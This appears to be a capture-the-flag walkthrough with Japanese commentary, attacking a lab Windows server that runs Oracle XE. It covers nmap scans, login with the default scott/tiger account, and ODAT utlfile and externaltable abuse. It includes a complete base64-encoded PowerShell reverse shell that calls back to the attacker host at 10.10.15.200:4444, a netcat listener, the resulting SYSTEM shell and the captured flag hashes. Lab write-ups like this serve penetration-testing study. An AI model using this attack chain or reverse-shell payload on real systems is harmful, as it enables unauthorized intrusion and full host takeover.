nmap -Pn -sV -p 80,135,139,445,1521,3389,5985 --max-retries 2 --host-timeout 30s 10.129.60.122

PORT     STATE  SERVICE       VERSION
80/tcp   open   http          Microsoft IIS httpd 8.5
135/tcp  open   msrpc         Microsoft Windows RPC
139/tcp  open   netbios-ssn   Microsoft Windows netbios-ssn
443/tcp  closed https
445/tcp  open   microsoft-ds  Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1521/tcp open   oracle-tns    Oracle TNS listener 11.2.0.2.0 (unauthorized)
3389/tcp closed ms-wbt-server
5985/tcp open   http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

nmap -sV -sC -p 80,135,139,445,1521,5985,47001,49152-49162 10.129.60.122

PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 8.5
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1521/tcp  open  oracle-tns   Oracle TNS listener 11.2.0.2.0 (unauthorized)
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152-49162/tcp open msrpc / oracle-tns (requires service name)
| smb2-security-mode:
|   3.0.2:
|_    Message signing enabled but not required

ODAT (Oracle Database Attack Tool) には sidguesser / passwordguesser という
総当りモジュールがあるが、本機の SID ("XE") と資格情報 ("scott/tiger") は
それぞれのデフォルト候補リスト（sids.txt 748件・oracle_default_userpass.txt
568件）の末尾付近に位置するため、VPN越しの通信遅延（往復200ms前後）を
踏まえると総当りには数分〜十数分かかる。さらに ODAT の passwordguesser には
「同一ユーザー名を一度でも試すと対話確認プロンプトを出す」仕様があり、
非対話実行では EOFError で異常終了することもある。

Oracle Express Edition の SID は "XE" が既定であり、scott/tiger は
Oracle の実質標準デモアカウント（広く公知）である。まずこの組み合わせを
軽量な utlfile --test-module で直接検証し、通れば総当りを省略する。

odat utlfile -s 10.129.60.122 -p 1521 -d XE -U scott -P tiger --sysdba --test-module

[1] (10.129.60.122:1521): Test if the UTL_FILE library can be used
[1.1] UTL_FILE library ?
[+] OK

Oracle サービス自体が NT AUTHORITY\SYSTEM で稼働している構成では、
ODAT の java モジュール（Oracle JVM 上の Java ストアドプロシージャ経由で
Runtime.exec() を呼び出し標準出力を直接取得する手法）が最も手軽な
RCE 経路になる。まずこれを試す。

odat java -s 10.129.60.122 -p 1521 -d XE -U scott -P tiger --exec whoami

[1] (10.129.60.122:1521): Execute the `whoami` on the 10.129.60.122 server
[-] Impossible to use the JAVA library to execute a system command: `ORA-29538: Java not installed`

odat all で全モジュールを一括診断すると、途中の「ユーザー名=パスワード」
総当りステップ（userlikepwd）で対話確認プロンプトが出て非対話環境では
異常終了するため、必要なモジュールだけを個別に --test-module で確認する。

odat utlfile -s 10.129.60.122 -p 1521 -d XE -U scott -P tiger --sysdba --test-module
odat externaltable -s 10.129.60.122 -p 1521 -d XE -U scott -P tiger --sysdba --test-module

[1.1] UTL_FILE library ?
[+] OK

[1.1] External table to read files ?
[+] OK
[1.2] External table to execute system commands ?
[+] OK

externaltable モジュールは、Oracle の外部表 (ORGANIZATION EXTERNAL) 機能の
PREPROCESSOR 句を悪用する。指定したディレクトリに既に存在するファイルを
「行データを生成する前処理プログラム」として実行させる仕組みで、

  odat externaltable --exec <リモートのディレクトリ> <実行するファイル名>

という形で「そのディレクトリに既にあるファイル」を実行するだけであり、
java モジュールのように任意コマンド文字列を直接渡して標準出力を
そのまま受け取ることはできない（ブラインド実行）。

そのため、まず UTL_FILE でリバースシェルを起動するペイロード
（.bat ファイル）をディスク上に書き込み、その後 externaltable の
PREPROCESSOR 機構で「そのファイルを実行させる」という二段構えにする。

.bat ファイルに PowerShell の生スクリプトをそのまま書くと、cmd.exe の
バッチ行解析が特殊文字（例: ForEach-Object のエイリアス "%{...}" の "%"）
を変数展開記号と誤認して壊してしまう。実際に最初の試行では以下のエラーで
失敗した:

  ORA-29913: ... KUP-04095: preprocessor command
  C:\Users\Public\silo_shell.bat encountered error "At line:1 char:109 ..."

対策として、PowerShell スクリプトを UTF-16LE + base64 エンコードし、
"powershell -enc <base64>" 形式で呼び出す（-EncodedCommand）。
これにより cmd.exe のバッチ解析を経由する特殊文字が一切なくなる。

import base64

ps = (
    "$c=New-Object System.Net.Sockets.TCPClient('10.10.15.200',4444);"
    "$s=$c.GetStream();[byte[]]$b=0..65535|ForEach-Object{0};"
    "while(($i=$s.Read($b,0,$b.Length)) -ne 0){"
    "$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);"
    "$sb=(iex $d 2>&1 | Out-String);"
    "$sb2=$sb+'PS '+(pwd).Path+'> ';"
    "$sbt=([text.encoding]::ASCII).GetBytes($sb2);"
    "$s.Write($sbt,0,$sbt.Length);$s.Flush()};$c.Close()"
)
b64 = base64.b64encode(ps.encode("utf-16-le")).decode()

with open("silo_shell.bat", "w", newline="\r\n") as f:
    f.write(f"@echo off\npowershell -nop -w hidden -enc {b64}\n")

odat utlfile -s 10.129.60.122 -p 1521 -d XE -U scott -P tiger --sysdba \
  --putFile 'C:\Users\Public' silo_shell.bat ./silo_shell.bat

[1] (10.129.60.122:1521): Put the ./silo_shell.bat local file in the C:\Users\Public folder like silo_shell.bat on the 10.129.60.122 server
[+] The silo_shell.bat file was created on the C:\Users\Public directory on the 10.129.60.122 server

# ターミナル1: リバースシェル用リスナー
nc -lvnp 4444

# ターミナル2: externaltable の PREPROCESSOR 機構で silo_shell.bat を実行させる
# (この呼び出しはシェルが張られている間ブロックし続けるためバックグラウンドで実行)
odat externaltable -s 10.129.60.122 -p 1521 -d XE -U scott -P tiger --sysdba \
  --exec 'C:\Users\Public' silo_shell.bat

listening on [any] 4444 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.60.122] 49166
nt authority\system
PS C:\oraclexe\app\oracle\product\11.2.0\server\DATABASE>

PS> Get-ChildItem C:\Users -Name

.NET v2.0
.NET v2.0 Classic
.NET v4.5
.NET v4.5 Classic
Administrator
Classic .NET AppPool
Phineas
Public

PS> Get-Content "C:\Users\Phineas\Desktop\user.txt" -ErrorAction SilentlyContinue

d7daf4964dd31750a89f284ba9605969

4-3 で確立したシェルは既に nt authority\system であり、Windows上で
最上位の権限を持つ。Rainbow (UACバイパスが必要) や一般的な Windows box とは異なり、
Oracle サービスのサービスアカウント設定に起因する設計上の欠陥により、
DBの弱資格情報を突いた時点でホストの最上位権限が直接手に入る。
そのため Phase 4 と全く同じシェル・同じコマンド体系で root.txt を読むだけでよい。

PS> whoami
PS> Get-Content "C:\Users\Administrator\Desktop\root.txt" -ErrorAction SilentlyContinue

nt authority\system
b2a1e2274ade3caca7f15f381cc508de

externaltable の SELECT クエリはプリプロセッサの標準出力を外部表の行データとして
パースしようとするため、PowerShell がエラーストリームに CLIXML 形式の
データ（"#< CLIXML" で始まる）を出力すると、Oracle 側がパース不能と判断して
プリプロセッサの子プロセス(cmd.exe → powershell.exe)を早期に強制終了する
ことがある。これによりリバースシェルの接続が数コマンド分のやり取りの後に
唐突に切れる場合がある。

対策: 複数回に分けてコマンドを送るのではなく、必要な処理（whoami・
ユーザー列挙・両フラグの読み取り）をセミコロン区切りで1回のコマンドラインに
まとめて送信し、接続が生きている短い時間内に全結果を回収する。

PS> whoami; Get-ChildItem C:\Users -Name; `
    Get-Content "C:\Users\Phineas\Desktop\user.txt" -ErrorAction SilentlyContinue; `
    Get-Content "C:\Users\Administrator\Desktop\root.txt" -ErrorAction SilentlyContinue

nt authority\system
.NET v2.0
.NET v2.0 Classic
.NET v4.5
.NET v4.5 Classic
Administrator
Classic .NET AppPool
Phineas
Public
d7daf4964dd31750a89f284ba9605969
b2a1e2274ade3caca7f15f381cc508de